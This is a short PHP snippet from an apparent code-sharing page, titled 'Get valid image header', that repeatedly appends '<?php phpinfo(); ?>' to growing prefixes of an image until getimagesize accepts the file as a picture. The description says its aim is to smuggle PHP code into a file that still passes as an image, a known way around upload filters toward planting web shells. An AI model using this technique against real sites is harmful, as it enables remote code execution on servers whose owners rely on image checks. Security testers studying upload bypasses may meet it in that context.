Return to Snippet

Revision: 51490
at September 26, 2011 21:31 by FeN_X


Initial Code
<?php

$imagefile = 'test.png';
$output = 'test.php';
$x = 8; //Nb of bytes we will read

$handle = fopen($imagefile, 'rb');
$contents = '';

$i=0;
while (!feof($handle)) {
    $contents .= fread($handle, $x);
    $i++;
    
    file_put_contents($output, $contents . '<?php phpinfo(); ?>');
    $tabInfo = getimagesize($output);
    
    if (in_array($tabInfo[2], array(1,2,3,6), true)) //$tabInfo['mime'] (give mimetype)
    {
        fclose($handle);
        die('Type detected : <b>'. image_type_to_mime_type($tabInfo[2]) .'</b>, nb Bytes : ' . $i * $x);
    }
}

?>

Initial URL

                                

Initial Description
Get the smallest header possible from a pic, so we can add PHP code after it, and the file is still considerated as a picture

Initial Title
Get valid image header

Initial Tags

                                

Initial Language
PHP